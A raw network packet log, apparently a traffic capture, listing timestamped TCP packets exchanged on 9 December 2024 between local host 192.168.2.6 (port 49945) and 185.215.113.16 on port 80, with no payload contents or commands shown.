Dec 9, 2024 21:09:43.235430002 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.235511065 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.235584974 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.237320900 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.237396955 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.237915039 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.237987041 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.238598108 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.238687992 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.238858938 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.238933086 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.239845991 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.239923000 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.240216970 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.240287066 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.241096973 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.241168022 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.241242886 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.241309881 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.242470980 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.242885113 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.242964983 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.243669987 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.243743896 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.243987083 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.244060040 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.244889021 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.245081902 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.245162010 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.246172905 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.246258020 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.246540070 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.246618032 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.247432947 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.247508049 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.247617960 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.247684002 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.248662949 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.248753071 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.248882055 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.248950958 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.249962091 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.250031948 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.250154018 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.250225067 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.251173019 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.251688004 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.251755953 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.252657890 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.252732992 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.252798080 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.252868891 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.253789902 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.253868103 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.253884077 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.253942013 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.255067110 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.255136013 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.255139112 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.255196095 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.256372929 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.256443977 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.256674051 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.256742954 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.257520914 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.257592916 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.257664919 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.257729053 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.258860111 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.258940935 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.259196997 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.259263039 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.260112047 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.260461092 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.260535002 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.261301041 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.261385918 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.261394978 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.261464119 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.262564898 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.262650013 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.263364077 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.263830900 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.263911963 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.264029980 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.264106989 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.265064001 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.265141964 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.265639067 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.265708923 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.266375065 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.266593933 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.266668081 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.267631054 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.267707109 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.267721891 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.267795086 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.268954039 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.269156933 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.269232035 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.270148993 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.270224094 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.270464897 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.270545006 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.271349907 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.271421909 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.271573067 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.271644115 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.272614002 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.272686005 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.272758007 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.272826910 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.273941040 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.274014950 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.274172068 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.274240971 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.275152922 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.275422096 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.275494099 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.276551008 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.276634932 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.276885986 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.276957989 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.277676105 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.277749062 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.277781010 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.277842999 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.371268034 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.371393919 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.371455908 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.371949911 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.371983051 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.371999025 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.372030020 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.373228073 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.373272896 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.373822927 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.373862028 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.374754906 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.376406908 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.397277117 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.397332907 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.397406101 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.397512913 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.397785902 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.397830009 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.397967100 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.398850918 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.398904085 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.398930073 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.398964882 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.399872065 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.399918079 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.399996996 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.400038004 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.400949001 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.401053905 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.401078939 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.401113033 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.401912928 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.401932955 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.401951075 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.401981115 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.402951956 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.403017044 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.403289080 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.403332949 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.403955936 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.404001951 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.404282093 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.404323101 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.405086040 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.405131102 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.405210972 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.405389071 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.406066895 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.406609058 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.406665087 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.407032967 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.407252073 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.407299995 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.408113003 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.408166885 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.408268929 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.408312082 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.409317970 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.409359932 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.409529924 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.409590960 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.410137892 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.410214901 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.410417080 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.410459995 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.411161900 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.411200047 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.411654949 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.411695957 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.412178040 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.412224054 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.412234068 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.412272930 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.413367033 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.413378954 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.413424969 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.414443016 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.414490938 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.414608002 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.414647102 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.415360928 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.415410995 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.416567087 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.416579008 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.416608095 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.416616917 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.416651964 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.417431116 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.417498112 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.417668104 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.417712927 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.418443918 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.418495893 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.418869972 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.419112921 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.419414997 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.419471025 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.419687033 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.419749022 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.420444012 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.420526028 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.420826912 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.420877934 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.421449900 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.421498060 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.421842098 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.421886921 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.422461033 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.422532082 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.422691107 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.422728062 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.423497915 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.423588991 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.423917055 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.423952103 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.424532890 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.424632072 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.425014973 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.425127029 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.425712109 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.425760984 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.426486969 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.426616907 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.426628113 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.426642895 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.426662922 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.427615881 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.427676916 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.427858114 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.427892923 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.428636074 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.428683043 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.428719997 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.428833961 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.429658890 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.429713964 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.429914951 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.429958105 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.430701971 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.430744886 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.430880070 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.430926085 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.431842089 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.431879044 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.432298899 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.432331085 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.432846069 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.432993889 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.433696032 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.433749914 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.434425116 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.434463978 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.434540987 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.434576035 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.434813976 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.434849024 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.434932947 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.434983969 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.435869932 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.435936928 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.435950994 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.435970068 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.436901093 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.436945915 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.437119007 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.437160015 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.438067913 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.438102961 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.438242912 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.438287020 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.438882113 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.438931942 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.439739943 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.439775944 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.440012932 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.440023899 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.440074921 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.440103054 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.440980911 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.441019058 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.441224098 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.441304922 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.442120075 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.442177057 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.442238092 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.442373991 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.443131924 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.443166971 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.443232059 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.443273067 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.444067955 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.444144011 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.444178104 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.444227934 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.445106030 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.445161104 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.446042061 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.446147919 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.446244955 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.446257114 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.446285009 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.446299076 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.447238922 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.447278023 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.447514057 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.447581053 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.563827038 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.564107895 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.564120054 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.564174891 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.564279079 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.564321041 CET	49945	80	192.168.2.6	185.215.113.16
